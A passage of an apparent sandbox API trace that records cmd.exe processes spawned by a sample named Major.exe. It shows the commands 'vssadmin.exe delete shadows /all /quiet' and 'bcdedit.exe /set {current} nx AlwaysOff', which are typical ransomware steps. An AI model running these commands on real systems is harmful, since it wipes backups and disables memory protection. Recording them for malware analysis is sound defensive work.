[0087.253] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xffde) returned 0x202a6e29f90 [0087.254] GetProcessHeap () returned 0x202a6e20000 [0087.254] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x62) returned 0x202a6e213d0 [0087.254] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0087.254] malloc (_Size=0xffce) returned 0x202a7010040 [0087.254] ??_V@YAXPEAX@Z () returned 0x202a7010040 [0087.254] GetProcessHeap () returned 0x202a6e20000 [0087.254] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x1ffac) returned 0x202a6e39f80 [0087.256] SetErrorMode (uMode=0x0) returned 0x0 [0087.256] SetErrorMode (uMode=0x1) returned 0x0 [0087.256] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x202a6e39f90, lpFilePart=0x61f88ff1d0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x61f88ff1d0*="Desktop") returned 0x17 [0087.256] SetErrorMode (uMode=0x0) returned 0x1 [0087.256] GetProcessHeap () returned 0x202a6e20000 [0087.256] RtlReAllocateHeap (Heap=0x202a6e20000, Flags=0x0, Ptr=0x202a6e39f80, Size=0x5a) returned 0x202a6e39f80 [0087.256] GetProcessHeap () returned 0x202a6e20000 [0087.256] RtlSizeHeap (HeapHandle=0x202a6e20000, Flags=0x0, MemoryPointer=0x202a6e39f80) returned 0x5a [0087.256] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.256] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0087.256] GetProcessHeap () returned 0x202a6e20000 [0087.256] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x1bc) returned 0x202a6e21440 [0087.256] GetProcessHeap () returned 0x202a6e20000 [0087.256] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x368) returned 0x202a6e21610 [0087.266] GetProcessHeap () returned 0x202a6e20000 [0087.266] RtlReAllocateHeap (Heap=0x202a6e20000, Flags=0x0, Ptr=0x202a6e21610, Size=0x1be) returned 0x202a6e21610 [0087.266] GetProcessHeap () returned 0x202a6e20000 [0087.266] RtlSizeHeap (HeapHandle=0x202a6e20000, Flags=0x0, MemoryPointer=0x202a6e21610) returned 0x1be [0087.266] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.266] GetProcessHeap () returned 0x202a6e20000 [0087.266] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xe8) returned 0x202a6e217e0 [0087.266] GetProcessHeap () returned 0x202a6e20000 [0087.266] RtlReAllocateHeap (Heap=0x202a6e20000, Flags=0x0, Ptr=0x202a6e217e0, Size=0x7e) returned 0x202a6e217e0 [0087.266] GetProcessHeap () returned 0x202a6e20000 [0087.266] RtlSizeHeap (HeapHandle=0x202a6e20000, Flags=0x0, MemoryPointer=0x202a6e217e0) returned 0x7e [0087.267] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.267] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x61f88fef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f88fef40) returned 0xffffffffffffffff [0087.267] GetLastError () returned 0x2 [0087.267] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x61f88fef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f88fef40) returned 0xffffffffffffffff [0087.267] GetLastError () returned 0x2 [0087.267] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.267] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x61f88fef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f88fef40) returned 0xffffffffffffffff [0087.268] GetLastError () returned 0x2 [0087.268] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x61f88fef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f88fef40) returned 0xffffffffffffffff [0087.268] GetLastError () returned 0x2 [0087.268] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.268] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x61f88fef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x61f88fef40) returned 0x202a6e21870 [0087.268] GetProcessHeap () returned 0x202a6e20000 [0087.268] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x0, Size=0x28) returned 0x202a6e218d0 [0087.268] FindClose (in: hFindFile=0x202a6e21870 | out: hFindFile=0x202a6e21870) returned 1 [0087.268] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0087.268] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0087.268] ??_V@YAXPEAX@Z () returned 0x1 [0087.268] GetConsoleTitleW (in: lpConsoleTitle=0x61f88ff4c0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.322] InitializeProcThreadAttributeList (in: lpAttributeList=0x61f88ff3e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x61f88ff2d0 | out: lpAttributeList=0x61f88ff3e0, lpSize=0x61f88ff2d0) returned 1 [0087.322] UpdateProcThreadAttribute (in: lpAttributeList=0x61f88ff3e0, dwFlags=0x0, Attribute=0x60001, lpValue=0x61f88ff2bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x61f88ff3e0, lpPreviousValue=0x0) returned 1 [0087.322] GetStartupInfoW (in: lpStartupInfo=0x61f88ff370 | out: lpStartupInfo=0x61f88ff370*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0087.322] GetProcessHeap () returned 0x202a6e20000 [0087.322] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x20) returned 0x202a6e21870 [0087.322] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0087.322] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0087.323] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0087.323] GetProcessHeap () returned 0x202a6e20000 [0087.323] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e21870) returned 1 [0087.323] GetProcessHeap () returned 0x202a6e20000 [0087.324] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x12) returned 0x202a6e21870 [0087.324] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0087.325] _get_osfhandle (_FileHandle=1) returned 0xc [0087.325] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0087.361] _get_osfhandle (_FileHandle=0) returned 0x8 [0087.361] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0087.368] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x61f88ff300*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x61f88ff2d8 | out: lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x61f88ff2d8*(hProcess=0x9c, hThread=0x98, dwProcessId=0xd4c, dwThreadId=0xd64)) returned 1 [0090.254] CloseHandle (hObject=0x98) returned 1 [0090.254] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0090.254] GetProcessHeap () returned 0x202a6e20000 [0090.254] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e29400) returned 1 [0090.254] GetEnvironmentStringsW () returned 0x202a6e29400* [0090.254] GetProcessHeap () returned 0x202a6e20000 [0090.254] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xb7e) returned 0x202a6e25ec0 [0090.254] FreeEnvironmentStringsA (penv="=") returned 1 [0090.254] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0093.572] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x61f88ff258 | out: lpExitCode=0x61f88ff258*=0x2) returned 1 [0093.572] CloseHandle (hObject=0x9c) returned 1 [0093.573] _vsnwprintf (in: _Buffer=0x61f88ff428, _BufferCount=0x13, _Format="%08X", _ArgList=0x61f88ff268 | out: _Buffer="00000002") returned 8 [0093.573] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0093.573] GetProcessHeap () returned 0x202a6e20000 [0093.573] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e25ec0) returned 1 [0093.573] GetEnvironmentStringsW () returned 0x202a6e28870* [0093.573] GetProcessHeap () returned 0x202a6e20000 [0093.573] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xba4) returned 0x202a6e39ff0 [0093.574] FreeEnvironmentStringsA (penv="=") returned 1 [0093.574] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0093.574] GetProcessHeap () returned 0x202a6e20000 [0093.574] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e39ff0) returned 1 [0093.574] GetEnvironmentStringsW () returned 0x202a6e28870* [0093.574] GetProcessHeap () returned 0x202a6e20000 [0093.574] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xba4) returned 0x202a6e39ff0 [0093.575] FreeEnvironmentStringsA (penv="=") returned 1 [0093.575] GetProcessHeap () returned 0x202a6e20000 [0093.575] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e21870) returned 1 [0093.575] DeleteProcThreadAttributeList (in: lpAttributeList=0x61f88ff3e0 | out: lpAttributeList=0x61f88ff3e0) [0093.575] ??_V@YAXPEAX@Z () returned 0x1 [0093.575] _get_osfhandle (_FileHandle=1) returned 0xc [0093.575] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0094.348] _get_osfhandle (_FileHandle=1) returned 0xc [0094.348] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0094.382] _get_osfhandle (_FileHandle=1) returned 0xc [0094.382] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0094.439] _get_osfhandle (_FileHandle=0) returned 0x8 [0094.439] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0094.443] SetConsoleInputExeNameW () returned 0x1 [0094.443] GetConsoleOutputCP () returned 0x1b5 [0094.456] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0094.456] SetThreadUILanguage (LangId=0x0) returned 0x409 [0094.492] exit (_Code=2) Thread: id = 20 os_tid = 0xd84 Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6a30000" os_pid = "0x8e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xdc4" cmd_line = "/C bcdedit.exe /set {current} nx AlwaysOff" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 16 os_tid = 0xb10 [0086.555] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a7ec0000 [0086.555] __set_app_type (_Type=0x1) [0086.555] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a7ed6d00) returned 0x0 [0086.555] __getmainargs (in: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210, _DoWildCard=0, _StartInfo=0x7ff6a7ef921c | out: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210) returned 0 [0086.555] _onexit (_Func=0x7ff6a7ed7fd0) returned 0x7ff6a7ed7fd0 [0086.555] _onexit (_Func=0x7ff6a7ed7fe0) returned 0x7ff6a7ed7fe0 [0086.555] _onexit (_Func=0x7ff6a7ed7ff0) returned 0x7ff6a7ed7ff0 [0086.556] _onexit (_Func=0x7ff6a7ed8000) returned 0x7ff6a7ed8000 [0086.556] _onexit (_Func=0x7ff6a7ed8010) returned 0x7ff6a7ed8010 [0086.556] _onexit (_Func=0x7ff6a7ed8020) returned 0x7ff6a7ed8020 [0086.556] GetCurrentThreadId () returned 0xb10 [0086.556] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb10) returned 0x7c [0086.556] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0086.557] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0086.557] SetThreadUILanguage (LangId=0x0) returned 0x409 [0086.885] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.885] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x5b595df738 | out: phkResult=0x5b595df738*=0x0) returned 0x2 [0086.885] VirtualQuery (in: lpAddress=0x5b595df724, lpBuffer=0x5b595df6a0, dwLength=0x30 | out: lpBuffer=0x5b595df6a0*(BaseAddress=0x5b595df000, AllocationBase=0x5b594e0000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.885] VirtualQuery (in: lpAddress=0x5b594e0000, lpBuffer=0x5b595df6a0, dwLength=0x30 | out: lpBuffer=0x5b595df6a0*(BaseAddress=0x5b594e0000, AllocationBase=0x5b594e0000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.885] VirtualQuery (in: lpAddress=0x5b594e1000, lpBuffer=0x5b595df6a0, dwLength=0x30 | out: lpBuffer=0x5b595df6a0*(BaseAddress=0x5b594e1000, AllocationBase=0x5b594e0000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.885] VirtualQuery (in: lpAddress=0x5b594e4000, lpBuffer=0x5b595df6a0, dwLength=0x30 | out: lpBuffer=0x5b595df6a0*(BaseAddress=0x5b594e4000, AllocationBase=0x5b594e0000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.885] VirtualQuery (in: lpAddress=0x5b595e0000, lpBuffer=0x5b595df6a0, dwLength=0x30 | out: lpBuffer=0x5b595df6a0*(BaseAddress=0x5b595e0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0086.885] GetConsoleOutputCP () returned 0x1b5 [0086.911] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0086.911] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a7ee8150, Add=1) returned 1 [0086.912] _get_osfhandle (_FileHandle=1) returned 0xc [0086.912] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc04 | out: lpMode=0x7ff6a7effc04) returned 1 [0086.939] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.939] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc00 | out: lpMode=0x7ff6a7effc00) returned 1 [0086.951] _get_osfhandle (_FileHandle=1) returned 0xc [0086.951] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0086.956] _get_osfhandle (_FileHandle=1) returned 0xc [0086.956] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0086.962] _get_osfhandle (_FileHandle=1) returned 0xc [0086.962] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0086.967] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.967] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0086.980] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.980] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0087.010] GetEnvironmentStringsW () returned 0x247535a5af0* [0087.011] GetProcessHeap () returned 0x247535a0000 [0087.011] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xb2e) returned 0x247535a6630 [0087.011] FreeEnvironmentStringsA (penv="A") returned 1 [0087.011] GetProcessHeap () returned 0x247535a0000 [0087.011] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x8) returned 0x247535a5af0 [0087.011] GetEnvironmentStringsW () returned 0x247535a7170* [0087.011] GetProcessHeap () returned 0x247535a0000 [0087.011] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xb2e) returned 0x247535a7cb0 [0087.011] FreeEnvironmentStringsA (penv="A") returned 1 [0087.011] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x5b595de5e8 | out: phkResult=0x5b595de5e8*=0x88) returned 0x0 [0087.011] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x0, lpData=0x5b595de600*=0x4, lpcbData=0x5b595de5e4*=0x1000) returned 0x2 [0087.011] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x4, lpData=0x5b595de600*=0x1, lpcbData=0x5b595de5e4*=0x4) returned 0x0 [0087.011] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x0, lpData=0x5b595de600*=0x1, lpcbData=0x5b595de5e4*=0x1000) returned 0x2 [0087.011] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x4, lpData=0x5b595de600*=0x0, lpcbData=0x5b595de5e4*=0x4) returned 0x0 [0087.011] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x4, lpData=0x5b595de600*=0x40, lpcbData=0x5b595de5e4*=0x4) returned 0x0 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x4, lpData=0x5b595de600*=0x40, lpcbData=0x5b595de5e4*=0x4) returned 0x0 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x0, lpData=0x5b595de600*=0x40, lpcbData=0x5b595de5e4*=0x1000) returned 0x2 [0087.012] RegCloseKey (hKey=0x88) returned 0x0 [0087.012] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x5b595de5e8 | out: phkResult=0x5b595de5e8*=0x88) returned 0x0 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x0, lpData=0x5b595de600*=0x40, lpcbData=0x5b595de5e4*=0x1000) returned 0x2 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x4, lpData=0x5b595de600*=0x1, lpcbData=0x5b595de5e4*=0x4) returned 0x0 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x0, lpData=0x5b595de600*=0x1, lpcbData=0x5b595de5e4*=0x1000) returned 0x2 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x4, lpData=0x5b595de600*=0x0, lpcbData=0x5b595de5e4*=0x4) returned 0x0 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x4, lpData=0x5b595de600*=0x9, lpcbData=0x5b595de5e4*=0x4) returned 0x0 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x4, lpData=0x5b595de600*=0x9, lpcbData=0x5b595de5e4*=0x4) returned 0x0 [0087.012] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x5b595de5e0, lpData=0x5b595de600, lpcbData=0x5b595de5e4*=0x1000 | out: lpType=0x5b595de5e0*=0x0, lpData=0x5b595de600*=0x9, lpcbData=0x5b595de5e4*=0x1000) returned 0x2 [0087.012] RegCloseKey (hKey=0x88) returned 0x0 [0087.012] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccd3bba [0087.012] srand (_Seed=0x5ccd3bba) [0087.012] GetCommandLineW () returned="/C bcdedit.exe /set {current} nx AlwaysOff" [0087.012] malloc (_Size=0x4000) returned 0x247537e55a0 [0087.013] GetCommandLineW () returned="/C bcdedit.exe /set {current} nx AlwaysOff" [0087.013] malloc (_Size=0xffce) returned 0x247536a0080 [0087.013] ??_V@YAXPEAX@Z () returned 0x247536a0080 [0087.014] GetCurrentDirectoryW (in: 